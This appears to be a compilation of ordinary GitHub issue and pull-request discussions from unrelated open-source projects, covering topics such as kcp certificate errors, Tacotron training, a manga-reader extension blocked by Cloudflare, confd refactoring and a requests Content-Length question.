I0824 13:15:01.340989   13424 apibinding_deletion_controller.go:328] "patching APIBinding" reconciler="kcp-apibindingdeletion" key="root:e2e-org-hchc2|tenancy.kcp.dev" apibinding.workspace="root:e2e-org-hchc2" apibinding.namespace="" apibinding.name="tenancy.kcp.dev" apibinding.apiVersion="" patch="{\"metadata\":{\"resourceVersion\":\"1573\",\"uid\":\"b6ee73d3-806c-4a65-818c-90db80ba406a\"},\"status\":{\"conditions\":[{\"lastTransitionTime\":\"2022-08-24T11:14:54Z\",\"status\":\"True\",\"type\":\"Ready\"},{\"lastTransitionTime\":\"2022-08-24T11:14:54Z\",\"status\":\"True\",\"type\":\"APIExportValid\"},{\"lastTransitionTime\":\"2022-08-24T11:15:01Z\",\"message\":\"Get \\\"https://127.0.0.1:6444/services/workspaces/root:e2e-org-hchc2/apis/tenancy.kcp.dev/v1beta1/workspaces\\\": x509: certificate is valid for localhost, not apiserver-loopback-client\",\"reason\":\"ResourceDeletionFailed\",\"severity\":\"Error\",\"status\":\"False\",\"type\":\"BindingResourceDeleteSuccess\"},{\"lastTransitionTime\":\"2022-08-24T11:14:54Z\",\"status\":\"True\",\"type\":\"BindingUpToDate\"},{\"lastTransitionTime\":\"2022-08-24T11:14:54Z\",\"status\":\"True\",\"type\":\"InitialBindingCompleted\"},{\"lastTransitionTime\":\"2022-08-24T11:14:54Z\",\"status\":\"True\",\"type\":\"PermissionClaimsApplied\"},{\"lastTransitionTime\":\"2022-08-24T11:14:54Z\",\"status\":\"True\",\"type\":\"PermissionClaimsValid\"}]}}"
E0824 13:15:01.360752   13424 apibinding_deletion_controller.go:178] deletion of apibinding root:e2e-org-hchc2|tenancy.kcp.dev failed: Get "https://127.0.0.1:6444/services/workspaces/root:e2e-org-hchc2/apis/tenancy.kcp.dev/v1beta1/workspaces": x509: certificate is valid for localhost, not apiserver-loopback-client
I0824 13:15:01.579106   13424 apibinding_deletion_controller.go:328] "patching APIBinding" reconciler="kcp-apibindingdeletion" key="root:e2e-org-hchc2:e2e-workspace-25cmk|tenancy.kcp.dev" apibinding.workspace="root:e2e-org-hchc2:e2e-workspace-25cmk" apibinding.namespace="" apibinding.name="tenancy.kcp.dev" apibinding.apiVersion="" patch="{\"metadata\":{\"resourceVersion\":\"1588\",\"uid\":\"21aec9fe-5d52-47c9-9e5e-134e37b8f13e\"},\"status\":{\"conditions\":[{\"lastTransitionTime\":\"2022-08-24T11:14:54Z\",\"status\":\"True\",\"type\":\"Ready\"},{\"lastTransitionTime\":\"2022-08-24T11:14:54Z\",\"status\":\"True\",\"type\":\"APIExportValid\"},{\"lastTransitionTime\":\"2022-08-24T11:15:01Z\",\"message\":\"Get \\\"https://127.0.0.1:6444/services/workspaces/root:e2e-org-hchc2:e2e-workspace-25cmk/apis/tenancy.kcp.dev/v1beta1/workspaces\\\": x509: certificate is valid for localhost, not apiserver-loopback-client\",\"reason\":\"ResourceDeletionFailed\",\"severity\":\"Error\",\"status\":\"False\",\"type\":\"BindingResourceDeleteSuccess\"},{\"lastTransitionTime\":\"2022-08-24T11:14:54Z\",\"status\":\"True\",\"type\":\"BindingUpToDate\"},{\"lastTransitionTime\":\"2022-08-24T11:14:54Z\",\"status\":\"True\",\"type\":\"InitialBindingCompleted\"},{\"lastTransitionTime\":\"2022-08-24T11:14:55Z\",\"status\":\"True\",\"type\":\"PermissionClaimsApplied\"},{\"lastTransitionTime\":\"2022-08-24T11:14:55Z\",\"status\":\"True\",\"type\":\"PermissionClaimsValid\"}]}}"
E0824 13:15:01.581461   13424 apibinding_deletion_controller.go:178] deletion of apibinding root:e2e-org-hchc2|tenancy.kcp.dev failed: Get "https://127.0.0.1:6444/services/workspaces/root:e2e-org-hchc2/apis/tenancy.kcp.dev/v1beta1/workspaces": x509: certificate is valid for localhost, not apiserver-loopback-client
E0824 13:15:01.666039   13424 apibinding_deletion_controller.go:178] deletion of apibinding root:e2e-org-hchc2:e2e-workspace-25cmk|tenancy.kcp.dev failed: Get "https://127.0.0.1:6444/services/workspaces/root:e2e-org-hchc2:e2e-workspace-25cmk/apis/tenancy.kcp.dev/v1beta1/workspaces": x509: certificate is valid for localhost, not apiserver-loopback-client

it also affects users accessing workspaces, i.e.
 k get --raw '/clusters/root/apis/tenancy.kcp.dev/v1beta1/workspaces'
Unable to connect to the server: x509: certificate is valid for 192.168.32.104, not 127.0.0.1

Maybe we need a proxy rather than a simple redirection? The proxy could verify the vw server cert.

it also affects users accessing workspaces, i.e.

k get --raw '/clusters/root/apis/tenancy.kcp.dev/v1beta1/workspaces'
Unable to connect to the server: x509: certificate is valid for 192.168.32.104, not 127.0.0.1

This is dependent upon the deployment topology. We have a topology where this URL redirects to the front proxy (which then maps it into the virtual workspaces container). In this setup, a client is able to validate the front proxy's certificate correctly and everything works.

This is dependent upon the deployment topology. We have a topology where this URL redirects to the front proxy (which then maps it into the virtual workspaces container)

Do we really do that? That's wrong. We must go directly to the vw address.

When the partial metadata informer is trying to request /clusters/*/apis/tenancy.kcp.dev/v1beta1/workspaces from the kcp process, this gets redirected to the front proxy, and we see this error

Do we actually want that the ddsif lists projections?

To sum up a discussion with Stefan in slack. The ddsif and the apibinding_deletion_controller shouldn't use projection resources. Instead of workspaces they should use ClusterWorkspaces.
For local development, we should use some domain name so that we can validate the server. It should be possible since we have self-signed certs and CAs.

https://github.com/kcp-dev/kcp/pull/1805 stops the ddsif from using v1beta1 Workspaces. But this is hard-coded for the time being.

But this is hard-coded for the time being.

This is fine for now until we come up with a generic projection concept.

What we could do now is to introduce a pkg/projection package and have a list there with projected GRs, and a map where to map to.

On it (need it to fix another issue)

#1860

Cleared milestone and put in backlog

authors: ncdc p0lyn0mial sttts


text:
Community Meeting January 25, 2022

At 11am Eastern, 8am Pacific, 3pm UTC; find your time
Video call link: https://meet.google.com/ohf-kwvd-mrp
Or dial: (US) +1 617-675-4444 PIN: 936 182 087 7398#
More phone numbers: https://tel.meet/ohf-kwvd-mrp?pin=9361820877398
Or join via SIP: sip:9361820877398@gmeet.redhat.com
Meeting recordings available on YouTube at https://www.youtube.com/channel/UCfP_yS5uYix0ppSbm2ltS5Q
This issue will collect prospective agenda topics. Add topics you'd like to discuss below!

prototype auth demo

Recording: https://youtu.be/B3x4my8fiL8

Next: #402

authors: imjasonh ncdc s-urbaniak


text:
disable etcd fsync on github actions tests

A single and embedded etcd instance should not need to fsync, this will improve the performance for CI and avoid issues with slow disks

/assign @ncdc @sttts

can't reproduce the flake :thinking:
stress ./workspaces.test -test.run TestWorkspacesVirtualWorkspaces/create_a_workspace_in_personal_virtual_workspace_and_have_only_its_owner_list_it
5s: 0 runs so far, 0 failures
10s: 0 runs so far, 0 failures
15s: 2 runs so far, 0 failures
20s: 24 runs so far, 0 failures
25s: 24 runs so far, 0 failures
30s: 25 runs so far, 0 failures
35s: 48 runs so far, 0 failures
40s: 48 runs so far, 0 failures
45s: 49 runs so far, 0 failures
50s: 72 runs so far, 0 failures
55s: 72 runs so far, 0 failures
1m0s: 74 runs so far, 0 failures
1m5s: 95 runs so far, 0 failures
1m10s: 96 runs so far, 0 failures
1m15s: 100 runs so far, 0 failures
1m20s: 118 runs so far, 0 failures

@marun PTAL , I've added to commits that I think improve the debugging on the e2e


text:
Basic Authentication - support encrypted password

It should support #password attribute, password value will be decrypted at the moment of execution.

Implemented in 0.2.2

authors: Halama kachnitel

repo: keboola/generic-extractor


text:
Primary key without mapping

As we've previously discussed, it would be convenient to be able to set primary keys while using the default JSON parser.
The biggest issue here is configuration. As JSON parser analyzes the result, and potentially returns n tables for a single configuration resource, I don't see a sensible way to add a PK setting to the resource's (job) config.
It might follow mappings' lead and be a simple list of key/values with the result name and its PK, which could include all kinds of nesting levels.
However, the better yet way more complicated solution should start at the JSON parser itself and be able to inject PK settings into it, so the PK could be used in the parser for parent/child links: https://github.com/keboola/php-jsonparser/blob/5f437e51130e02ce4d660f4db2f9c566f0095c96/src/Keboola/Json/Parser.php#L486

Basically, what I'd like to see solved is in the JSON parser being able to pass down child PKs to recursively created tables, and proper tests&implementation for composite pk as the ideal solution.
Otherwise we can just go the way of having a simple array of PKs for each resulting table and use that in Configuration::storeResult().


text:
Feature/python sync actions

Jen aby procházelo CI je potřeba dát nějaký funkční config sem: https://github.com/keboola/generic-extractor/blob/5946efef1f6da2b10c732c01336b0aa316de394d/tests/phpunit/data/syncAction/config.json  a pak tady upravit assert podle toho, co to má vracet: https://github.com/keboola/generic-extractor/blob/5946efef1f6da2b10c732c01336b0aa316de394d/tests/phpunit/MockExecutionTest.php#L71. Teď tam asi není správnej config, pro tu curl sync akci, co pouštím protože to padá na
logger.ERROR: Process failed to start. Error output: cURL command not provided [] []\n
A když tam dám třeba tu akci test_request, tak to zas vrací not implemented.
Každopádně, takhle by vám to zatím mohlo stačit pro nějaký laborování ne?

Jo takhle je to super! Diky moc!

@AdamVyborny jeste koukam, ze ten build trva fakt mega dlouho, asi kvuli tem dodatecnym instalacim, mozna by stalo za ten image dostat na dockerhub, nebo nejak cachovat jestli to jde

@davidesner to by asi mohlo fungovat. Ale je tam klíč v tý cache na commit s fallbackem na Dockerfile hash. Takže pokud přidáš něco do requirments.txt, tak se to asi neinvaliduje. To by se muselo nějak domazlit ještě.

@davidesner ta akce musí být v configu:
{
  "parameters": {
    ...
  },
  "action": "load_from_curl",
  "image_parameters": {
    ...
  }
}

@AdamVyborny tak pry to takhle ma byt https://app.swaggerhub.com/apis/odinuv/sync-actions/1.1.2#/default
a je to tak u vsech komponent

authors: AdamVyborny davidesner


text:
Create types for model keys

Jira: https://keboola.atlassian.net/browse/BA-49
Vytvoril som keys: https://github.com/keboola/keboola-as-code/blob/e4d04eee36eec1684365c787acbdfe2dde30fe81/internal/pkg/service/buffer/store/key/key.go#L8-L33
Aby bol kazdy DB objekt jednoznacne identifikovany a nebolo potrebne parsovat etcd key:
https://github.com/keboola/keboola-as-code/blob/e4d04eee36eec1684365c787acbdfe2dde30fe81/internal/pkg/service/buffer/store/model/model.go#L21-L25

(este jeden test som si nevsimol, fixujem)

repo: keboola/keboola-as-code


text:
Refactoring

udělal jsem drobný refactoring appky...

rozdělil jsem Migrate třídu do více tříd které odpovídají více tomu co dělají
přepsal jsem Role/Granty do ValueObjects, tím si celkem usnadníme následnou práci

@pivnicek a ještě tady prosím :)

repo: keboola/project-migration-tool


text:
Test if rows has config key

Jira: KBC-XXX
Before asking for review make sure that:

[x] New client method(s) has tests
[x] Apiary file is updated
[x] You declared if there is a BC break or not (will affect next release of a client)

👁

phpstan je zamceny na verzi 1.3.3

authors: fejjo martinjunger

repo: keboola/storage-api-php-client


text:
Graphite scaler docs

Provide a description of what has been changed
Checklist

[x] Commits are signed with Developer Certificate of Origin (DCO)

Fixes #1628

And I don't see a section on auth

I don't see a section on auth
Could you please update the file, so for example the Parameter list items description is more verbose.

Add more details to the metricName (as it is done for other scalers). More examples for queryTime would be great and does the value needs to be negative?

All comments addressed. Verbosity is comparable to the Prometheus scaler.
Yes, the value does need to be a negative relative lookback time to be useful.
https://graphite-api.readthedocs.io/en/latest/api.html#from-until

authors: bpinske zroubalik

repo: kedacore/keda-docs


text:
Use certain testing libraries to write better tests

A lot of other projects use libraries like assert and testify, and I've seen that their tests' logic is a lot more readable than ours.
We could leverage those to write better tests.
Thoughts?

@kadel I found some useful instances of testify/assert here - https://github.com/kubernetes/kubernetes/search?utf8=✓&q=assert

can you show example where it is going to help in our tests?
how it is different from doing
if A != B {
   return fmt.Errof("A is not equal B")
}

I'm just trying to undersnad how is this going to help us.

authors: containscafeine kadel

repo: kedgeproject/kedge


text:
Evaluate ditching optional dependencies aggregation in setup.py in favour of fully static metadata

This doesn't technically obliterate setup.py, but since most of the project metadata is in pyproject.toml now, maybe we could just keep setup.py around for our extras mangling, it's not a big deal.

Originally posted by @astrojuanlu in https://github.com/kedro-org/kedro-plugins/pull/161#issue-1662184102
I just discovered an interesting trick attrs is using to merge and combine optional dependencies: https://github.com/python-attrs/attrs/pull/993/files#diff-50c86b7ed8ac2cf95bd48334961bf0530cdc77b5a56f852c5c61b89d735fd711R36-R65
This seems to be possible with any PEP 621 compatible build backend, but now it's not documented broadly (https://github.com/pypa/pip/issues/11296), only for Hatch: https://hatch.pypa.io/latest/config/dependency/#self-referential

Feature groups can self-referentially extend others.

(Source: https://discuss.python.org/t/aliased-or-aggregated-optional-dependencies/20488/2?u=astrojuanlu)
In summary, it might be possible to actually remove setup.py completely, by replacing our dynamic aggregation of optional dependencies by this self-referencing feature directly in pyproject.toml.
Low priority, but it would be nice to have 100 % static metadata and only 1 metadata file.
Related: https://github.com/kedro-org/kedro/issues/2334

Would you be open to PRs? I wouldn't mind creating a few that switch to Hatchling.

Hi @ofek, thanks for chiming in! Assuming we don't embrace Hatch as a workflow tool yet, what benefits would hatchling bring as a build backend over setuptools?
For extra context, I already migrated most of the project metadata of the Kedro framework to pyproject.toml while keeping setuptools in https://github.com/kedro-org/kedro/pull/2475, and this issue is about kedro-datasets, a plugin that exists in this repository. Since the team already has familiarity with setuptools I didn't want to complicate reviews.
On the other hand, now that you're here, I think kedro-viz might actually benefit from hatchling plugins, since it bundles some JavaScript using hacky workarounds that have some nasty consequences... https://github.com/kedro-org/kedro-viz/issues/1267

authors: astrojuanlu ofek

repo: kedro-org/kedro-plugins


text:
z-index

The default value of the style z-index of the block is too small for such a popup

well I'm a beginner and I lost 30 min debugging this..... until I read this issue....

You can try it, I hope it will work fine.
// Flash message ._vue-flash-msg-body._vue-flash-msg-body_success {     border: 1px solid #28a745!important;     background-color: #28a745!important;     z-index: 10000!important; }

._vue-flash-msg-body._vue-flash-msg-body_success {
border: 1px solid #28a745!important;
background-color: #28a745!important;
z-index: 10000!important;
}

this worked for me
._vue-flash-msg-body {
z-index: 10000000 !important;
}

authors: AndreiD mrtoxas naivescripters okumujustine

repo: keen-on-design/vue-flash-message


text:
Custom Training

Is it possible custom training the model?

It should be possible.
(It's considered possible, but I've never tried)

Okay, I'll try it myself, and if I do, I'll write back to you.
p.s i sent you an email :)

authors: Birillox keijiro


text:
About audio file in train result

I have tried with Chinese Speech data, and after 98000 steps, I eval the checkpoint with eval.py, but result is not desirable.
In base dir, I find with checkpoint file, there are also corresponding pngs and wavs.
I wonder where these wavs comes from. Does anybody know?
...
model.ckpt-68000.data-00000-of-00001                     step-35000-audio.wav  step-78000-align.png
model.ckpt-68000.index                                   step-36000-align.png  step-78000-audio.wav
model.ckpt-68000.meta                                    step-36000-audio.wav  step-79000-align.png
model.ckpt-79000.data-00000-of-00001                     step-37000-align.png  step-79000-audio.wav
model.ckpt-79000.index                                   step-37000-audio.wav  step-80000-align.png
model.ckpt-79000.meta                                    step-38000-align.png  step-80000-audio.wav
model.ckpt-88000.data-00000-of-00001                     step-38000-audio.wav  step-8000-align.png
model.ckpt-88000.index                                   step-39000-align.png  step-8000-audio.wav
model.ckpt-88000.meta                                    step-39000-audio.wav  step-81000-align.png
...

https://github.com/keithito/tacotron/blob/master/train.py#L114
The training script generates and saves audio file at every checkpoint.
On Mon, Aug 14, 2017 at 11:58 AM, Qichao notifications@github.com wrote:

I have tried with Chinese Speech data, and after 98000 steps, I eval the
checkpoint with eval.py, but result is not desirable.
In base dir, I find with checkpoint file, there are also corresponding
pngs and wavs.
I wonder where these wavs comes from. Does anybody know? ...
model.ckpt-68000.data-00000-of-00001 step-35000-audio.wav
step-78000-align.png
model.ckpt-68000.index step-36000-align.png step-78000-audio.wav
model.ckpt-68000.meta step-36000-audio.wav step-79000-align.png
model.ckpt-79000.data-00000-of-00001 step-37000-align.png
step-79000-audio.wav
model.ckpt-79000.index step-37000-audio.wav step-80000-align.png
model.ckpt-79000.meta step-38000-align.png step-80000-audio.wav
model.ckpt-88000.data-00000-of-00001 step-38000-audio.wav
step-8000-align.png
model.ckpt-88000.index step-39000-align.png step-8000-audio.wav
model.ckpt-88000.meta step-39000-audio.wav step-81000-align.png
...
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/keithito/tacotron/issues/20, or mute the thread
https://github.com/notifications/unsubscribe-auth/AAEcONIp71JS6Q1VoCe-aZWi102PAGKEks5sX8XtgaJpZM4O16-W
.

--
Qingsong Liu
liuqs.ustc@gmail.com
Univ. of Sci.& Tech. of China

@pineking  Thank u.
I have read this script, I have thought these audio files is synthesized with corresponding checkpoints.
I listen these files, and find they are quite desirable at step 98000, but when I use checkpoint to evaluate(both with demo_server and eval), the result is awful.
Could u please explain the cause?

@qclu In training process, this isn't a good evaluation of the model. Because training uses teacher forcing so the RNN gets fed the previous ground truth output as input when predicting the current output.

@zuoxiang95
Thank u so much.

I am also training Chinese Speech now, but i can not get good result. Can you share your results if you get some good results?

@zuoxiang95
I have email you, we can keep exchange and update if we get good results.

Can you share your Chinese speech training set?
thanks!

＠cozec
I trained Chinese speech with pinyin as label, and can get results.

@qclu Could you share the dataset?

@qclu @zuoxiang95 I'm trying to follow this, and want to get a direct sense of chinese synthesis. Can you share some good chinese synthesis results ? Thank you.

authors: cozec huguanglong pineking qclu zuoxiang95

repo: keithito/tacotron


text:
Error with higher sample rate

I am getting this error in the preprocessing step if I tried to increase sample rate from 22050 to 48000 in hparams
Thank you
Traceback (most recent call last):
  File "C:\Users\User\Anaconda3\lib\concurrent\futures\process.py", line 175, in _process_worker
    r = call_item.fn(*call_item.args, **call_item.kwargs)
  File "C:\Code\Repos\tacotron\my_fork\datasets\nawar.py", line 44, in _process_utterance
    spectrogram = audio.spectrogram(wav).astype(np.float32)
  File "C:\Code\Repos\tacotron\my_fork\util\audio.py", line 30, in spectrogram
    D = _stft(preemphasis(y))
  File "C:\Code\Repos\tacotron\my_fork\util\audio.py", line 98, in _stft
    return librosa.stft(y=y, n_fft=n_fft, hop_length=hop_length, win_length=win_length)
  File "C:\Users\User\Anaconda3\lib\site-packages\librosa\core\spectrum.py", line 152, in stft
    fft_window = util.pad_center(fft_window, n_fft)
  File "C:\Users\User\Anaconda3\lib\site-packages\librosa\util\utils.py", line 287, in pad_center
    'at least input size ({:d})').format(size, n))
librosa.util.exceptions.ParameterError: Target size (2048) must be at least input size (2400)

Hi @youssefsharief, can you tell what was the num_freq you used with samplerate 48000?

num_freq=2049,
sample_rate=48000,

I confirm that 2049 is working fine

authors: begeekmyfriend mligema souregi youssefsharief


text:
Lura Toon Blocked

Source information
Lura Toon 1.4.43
Source language
Português (Brasil)
Steps to reproduce

Open source
Open anything
Open a chapter

Expected behavior

Should open the chapter
Actual behavior

It's saying I have been blocked by Cloudfrare (I don't know if other people have been blocked, but this same message appears in other 2 extensions)
Mihon/Tachiyomi version
0.15.3
Android version
Android 14
Other details
No response
Acknowledgements

[X] I have searched the existing issues and this is a new ticket, NOT a duplicate or related to another open or closed issue.
[X] I have written a short but informative title.
[X] I have updated the app to version 0.15.3.
[X] I have updated all installed extensions.
[X] I have tried the troubleshooting guide.
[X] If this is an issue with the app itself, I should be opening an issue in the app repository.
[X] I will fill out all of the requested information in this form.

The others who appear this message is:
Cerise Scan 1.4.44
Wicked Witch Scan 1.4.38

Extension lura toon ok

No load imagem

No download image

Fiz isso e não adiantou mais alguma coisa que eu posso fazer?

Fiz isso e não adiantou mais alguma coisa que eu posso fazer?

Espera a resposta dos desenvolvedores da extensão se tem como corrigir ou não.

Hello Brazilian friends, I had the same problem in an issue and talked to one of the admins on discord.
the conclusion was that the lura toon extension is no longer running with devices below 6gb of ram due to the weight it has to run
the website serves zips files instead of images, so the extension has some complicated logic to download, unzip, decode, and finally merge the images to return to the app, all in ram.
Of course, it's probably not that, but it's an alternative to a problem I had with the same extension.
my device is currently a realme 7i.

Hello Brazilian friends, I had the same problem in an issue and talked to one of the admins on discord. the conclusion was that the lura toon extension is no longer running with devices below 6gb of ram due to the weight it has to run
the website serves zips files instead of images, so the extension has some complicated logic to download, unzip, decode, and finally merge the images to return to the app, all in ram. (too low ram and/or not powerful enough cpu/gpu)
Of course, it's probably not that, but it's an alternative to a problem that I had with the same extension.
my device is currently a realme 7i.

ohh, good afternoon that's normal because of the big colors on the sleeves, morning etc.
as the site uses the theme: "PeachScan".
/**
 * ActivityManager#isLowRamDevice is based on a system property, which isn't
 * necessarily trustworthy. 1GB is supposedly the regular threshold.
 *
 * Instead, we consider anything with less than 3GB of RAM as low memory
 * considering how heavy image processing can be.
 */
private val isLowRamDevice by lazy {
    val ctx = Injekt.get<Application>()
    val activityManager = ctx.getSystemService("activity") as ActivityManager
    val memInfo = ActivityManager.MemoryInfo()

    activityManager.getMemoryInfo(memInfo)

    memInfo.totalMem < 3L * 1024 * 1024 * 1024
}

you have to increase the code's memory, because it's limited to 3GB.
If you increase it, you'll have to limit the number of mobile devices available.
mine is: "Poco X4 GT".

I just saw that after downloading the image it comes in: "txt", apparently it is encrypted
since it doesn't make sense, kkkkk, since those who won't buy the license to do it, I just want to screw with the extension.

as I don't know much about html and cryptography, I think it's because of the "blob", which isn't working.

Well, your problem is different from the one I had. unfortunately my maximum on my cell phone is 4gb by nature and there are no usage limitations. so I migrated to another extension unfortunately.
If they don't respond here, try discord.

don't even try to talk on their discord, because of the "Businessman's nickname on the dc", which screws up the extension.
either developers update the extension or they turn it off.
because if they're going to increase the memory they'll have to limit it on mobile devices, so the old ones won't work, only the current ones.

Unfortunately this is not something that keiyoushi can solve, if there is, as it is a lot of work for such a small team or less, in itself it is only a problem because of the scan website itself which is quite heavy due to changes in it.
You can still try to go to discord and talk to the people there, in the case of keiyoushi itself and not scan (they don't like tachiyomi users)

Unfortunately this is not something that keiyoushi can solve, if there is, as it is a lot of work for such a small team or less, in itself it is only a problem because of the scan website itself which is quite heavy due to changes in it.
You can still try to go to discord and talk to the people there, in the case of keiyoushi itself and not scan (they don't like tachiyomi users)

I know, I almost got banned from the discord of: "LuraToon".
The only thing I can do is wait for an update or let them know that they're going to remove the extension.
They don't like the extension because their processors are screwed up (since it's normal).

the message from the lura team was for you to change the browser that is no longer compatible, currently they said that chrome is the best alternative.
try using the chrome domain within tachiyomi and share with us.

I ask you my friend: "how do I change the domain"?

this is not the place to have a nice long chat

authors: AwkwardPeak7 JosephShay Mynameluis PeroIF nomaxsnx

repo: keiyoushi/extensions-source


text:
Add support for using and static fields in static extension

added support for completion for:

recently supported using in xmlns example: xmlns:my="using:Avalonia.Controls"
static fields in x:Static example: Converter="{x:Static ObjectConverters.IsNull}"

with unit tests

@kekekeks


text:
array.isEvery does not check for true by default

The second argument to Ember.Array#isEvery defaults to true if not specified. It would be nice if array.isEvery did the same.
array: Ember.A([{ test: true }, { test: true }]),
key: 'test',
result: array.isEvery('array', 'key'), // false (expected: true)

Resolved by #364

Thank you!

authors: kellyselden mwpastore

repo: kellyselden/ember-awesome-macros


text:
refactor to packetize and a whole mess of things

Hi,
This is going to be a good one!
I made a confd refactoring, changes include primarily how input parameters are treated and how to define cli arguments. Everything is configured via config structs (it helps packetizing confd #175) and cli arguments are created dynamically introspecting StructTags. Take a look to config/backend.go, config/global.go, and config/template.go. when it comes to cli handling codegangsta/cli library was used.
The most important thing in these changes is that I always follow the same pattern:

load from configuration file

for global config options [global] section in confd.toml is used.
for backend config options [etcd/consul/fs/...] section in confd.toml is used.
for template config options [template] is used in each template-defining file.

override if envar is defined and has a value
override if cli arg is provided

So the precedence order is as follows:

cli options
env var
configuration file

Also, I implemented the zero-conf mode (#183) using -tmpl-* cli arguments. Those are the same as the ones used in the configuration files. It can be rendered just one template per confd execution. Note that if confdir is provided zero-conf mode is ignored. It can be used like this
KEY=myvalue1 confd --onetime --tmpl-src "test.txt.tmpl" --tmpl-dest "test.txt" env

Yes, it is really opinionated but I think it is somehow organized and helps more than what it distrubs :-).
What do you think? @kelseyhightower @bacongobbler I would like to know your opinion on this, thanks!
PD.: This gist contains all configuration file examples and cli help outputs: https://gist.github.com/glerchundi/9b0fe054a157bc0eff24.

@glerchundi This is a huge PR, and will take a lot of time to review. It might turn out to be the case that there is to much refactoring here and I may ask that we break this up. I need to review first, but I just wanted to give you the heads up.

cool! if you just want to try it out, I compiled confd as you usually do:
https://github.com/glerchundi/confd/releases/download/v0.10.0-beta1/confd-0.10.0-beta1-darwin-amd64
https://github.com/glerchundi/confd/releases/download/v0.10.0-beta1/confd-0.10.0-beta1-linux-amd64

me again, I've created a test container which uses this confd version to load-balance http requests using nginx:
Concretely these are the files using confd:
https://github.com/just-containers/nginx-loadbalancer/blob/master/rootfs/etc/cont-init.d/01-confd-onetime
https://github.com/just-containers/nginx-loadbalancer/blob/master/rootfs/etc/services.d/confd/run

After a deeper review I'm not ready to move to a new package for managing flags. The goal right now is to clean up the backends, and a few more tests and get 1.0.0 out the door.
I think we can revisit this later, but I don't want to introduce such a big overhaul at this stage.

authors: glerchundi kelseyhightower

repo: kelseyhightower/confd


text:
Content-Length incorrect?

I seem to consistently get a different Content-Length when I use httplib (8494757) and when I use requests (625290), for the same file. Is this normal or is this a bug?
>>> conn = httplib.HTTPSConnection('raw.githubusercontent.com')
>>> conn.request('HEAD','/stevemeier/cefs/master/errata.latest.xml')
>>> conn.getresponse().getheaders()
[('content-length', '8494757'), ('via', '1.1 varnish'), ('vary', 'Authorization,Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"d8000ebc3721f00f130736072186146d50df2781"'), ('x-cache-hits', '3'), ('cache-control', 'max-age=300'), ('source-age', '105'), ('x-served-by', 'cache-mel6523-MEL'), ('x-cache', 'HIT'), ('x-github-request-id', '2BF94A17:13B4D:46ADE7:578648AD'), ('accept-ranges', 'bytes'), ('expires', 'Wed, 13 Jul 2016 14:03:47 GMT'), ('x-fastly-request-id', '363b36bb9fb7c18106f7e1182450c91bed7e60f7'), ('x-geo-block-list', ''), ('date', 'Wed, 13 Jul 2016 13:58:47 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'; style-src 'unsafe-inline'"), ('strict-transport-security', 'max-age=31536000'), ('connection', 'keep-alive'), ('x-frame-options', 'deny'), ('content-type', 'text/plain; charset=utf-8')]

vs
>>> res = requests.head('https://raw.githubusercontent.com/stevemeier/cefs/master/errata.latest.xml')
>>> res.headers
{'Content-Length': '625290', 'X-XSS-Protection': '1; mode=block', 'Content-Security-Policy': "default-src 'none'; style-src 'unsafe-inline'", 'X-Cache-Hits': '1', 'X-Frame-Options': 'deny', 'Access-Control-Allow-Origin': '*', 'X-Served-By': 'cache-mel6521-MEL', 'X-GitHub-Request-Id': '2BF94A14:37EB:8B44EC:57864851', 'Expires': 'Wed, 13 Jul 2016 14:03:55 GMT', 'X-Fastly-Request-ID': 'd1f56c5b421ddc141601df05fd3cc5dc0167f3e1', 'Date': 'Wed, 13 Jul 2016 13:58:55 GMT', 'Source-Age': '205', 'X-Cache': 'HIT', 'Accept-Ranges': 'bytes', 'Strict-Transport-Security': 'max-age=31536000', 'Connection': 'keep-alive', 'X-Geo-Block-List': '', 'Via': '1.1 varnish', 'X-Content-Type-Options': 'nosniff', 'Content-Encoding': 'gzip', 'Vary': 'Authorization,Accept-Encoding', 'ETag': '"d8000ebc3721f00f130736072186146d50df2781"', 'Cache-Control': 'max-age=300', 'Content-Type': 'text/plain; charset=utf-8'}

This is entirely normal. The key difference is in the headers. Specifically, requests has an extra one: Content-Encoding: gzip. This is because requests transparently supports compressed response bodies and then decompresses them for you on the fly. This is why the content-length is smaller in requests: the body was delivered compressed. If you compare the two bodies, you'll see that they're the same: requests' version was just delivered in a smaller form and then expanded later.
In the future, please ask questions on Stack Overflow if possible, rather than using the bugtracker. =) We have quite a lot of volume here, and it helps to reduce our workload!

authors: Lukasa furlongm

repo: kennethreitz/requests


text:
2D skeletons data pre-processing

Hello, there are spectators and gymnasts in the gym datastes. The skeleton of spectators and gymnasts can be obtained by using the pose estimation method. Can you tell me how to extract only the skeleton of gymnastics? Thank you~

Hi, RCpengnan,
In FineGYM, we have the groundtruth bounding box annotations for the gymnasts, so we directly use the GT box for pose extraction. It mainly serves as an "oracle" setting to study the performance of skeleton action recognition.

Is it possible to publish the annotation or prediction of the detected boxes for each dataset?

Sorry, the detection bounding boxes that are used to generate the pose annotations are missing, I can confirm that all detection bounding boxes are generated with this mmdet config: https://github.com/open-mmlab/mmdetection/blob/master/configs/faster_rcnn/faster_rcnn_r50_caffe_fpn_mstrain_1x_coco-person.py (and the corresponding ckpt file). For FineGYM GT bboxes, I will try to find the groundtruth annotations and make it public.

Is it possible to publish the annotation or prediction of the detected boxes for each dataset?

can you show how to incorporate this gt bounding box into data preparation pipeline?

authors: RCpengnan kennymckormick skeletonNN xyniu1

repo: kennymckormick/pyskl


text:
Support decode from a picture.

It would be useful if this library support decode qrcode from a picture directly.

Duplicate of #9.

authors: kennytm loggerhead

repo: kennytm/qrcode-rust


text:
docs($browser): add installation info to docs

Move install instructions from glamorous README to glamorous website under basics section.
#81

What: Add installation instructions from glamorous README to glamorous website basics section

Why: Update website with installation information

How: Changed pages/basics/content/install.js.

Used h4 for subsection headings. The font within code blocks looks off for some reason, the line height doesn't seem quite right. Also it would be great to add base styles to ul and ol to make them look good.

This is great! Thank you so much! I'll give it a look tomorrow (I try to limit my OSS stuff on Sundays).

By the way, would you like to add yourself to the contributors table? If you want to do it, then open a new pull request :) Thanks again!

Sure Kent.

authors: kentcdodds whoisandy

repo: kentcdodds/glamorous-website


text:
sysDescr remove from hardcoded base collection and use it from profil…

…e definitions. This partially fix #461 by avoiding "sysDescr" OID from the list of hardcoded OIDs used as a base list for polling. There is no need to hardcode it here, when it can be used from profile, like system-mib.yml which is anyway used for every device.

Any thoughts on this @RyanKadri

What's the reason behind taking just sysdesc out here? I guess I'm confused why you would just do this and not the rest too? For example, look at https://github.com/kentik/ktranslate/compare/kentik?
